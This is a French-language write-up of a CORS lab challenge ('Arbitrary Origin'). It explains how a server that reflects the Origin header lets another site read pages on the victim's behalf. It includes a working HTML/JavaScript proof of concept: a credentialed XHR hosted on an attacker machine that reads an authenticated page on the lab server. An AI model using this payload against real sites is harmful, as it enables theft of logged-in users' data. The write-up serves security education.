Application Trust Arbritrary Origin
Les challenges sont accessibles aprĂšs s'ĂȘtre authentifiĂ© avec les credentials ace/fire. Cet utilisateur va jouer le rĂŽle de la victime tout au long des exercices.

Le challenge est disponible Ă la page arbitrary_origin.php
. Il est également possible d'obtenir quelques informations supplémentaires sur l'erreur de configuration :

La page du challenge, accessible seulement en étant authentifié, contient une unique phrase :

L'objectif peut donc ĂȘtre ici d'exploiter cette mauvaise configuration de CORS afin de pouvoir lire le contenu de cette page.
En temps normal, lors de l'exĂ©cution d'une requĂȘte de type GET
d'un domaine A vers un domaine B, la politique de mĂȘme origine interdira la lecture de la rĂ©ponse. Cela permet d'empĂȘcher un site malicieux de lire le contenu des pages que visite la victime, mais CORS, selon sa configuration, peut permettre un tel comportement.
Sur ce challenge, l'erreur de configuration du serveur a pour consĂ©quence que la valeur de l'entĂȘte Origin
de la requĂȘte est rĂ©flĂ©chie comme valeur de rĂ©ponse de l'entĂȘte CORS Access-Control-Allow-Origin
. Cet entĂȘte sert de contrĂŽle d'accĂšs permettant d'autoriser seulement certains domaines (l'entĂȘte peut Ă©galement avoir la valeur *
) Ă demander des ressources. Etant donnĂ© ici que le domaine est systĂ©matiquement rĂ©flĂ©chi, cette configuration revient au mĂȘme que d'autoriser tous les domaines.
Il me suffit alors d'héberger le script suivant sur un serveur malicieux (à l'adresse 192.168.56.182) :
<html>
<head>
<title>CORS vulnerable lab - Arbitrary Origin</title>
</head>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.56.184/arbitrary_origin.php', true);
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
console.log(xhr.response);
}
}
xhr.send();
</script>
</body>
</html>
Puis, lorsque la victime, authentifiĂ©e sur le serveur vulnĂ©rable (Ă l'adresse 192.168.56.184), naviguera sur la page, la requĂȘte XHR sera exĂ©cutĂ©e par son navigateur. L'attaquant sera en mesure de rĂ©cupĂ©rer tout le contenu de la page (Ă la place de l'afficher simplement dans la console) :

La rĂ©ponse de Burp indique bien que l'entĂȘte Access-Control-Allow-Origin
rĂ©flĂ©chi bien le domaine effectuant la requĂȘte, soit ici http://192.168.56.182
:

DerniĂšre mise Ă jour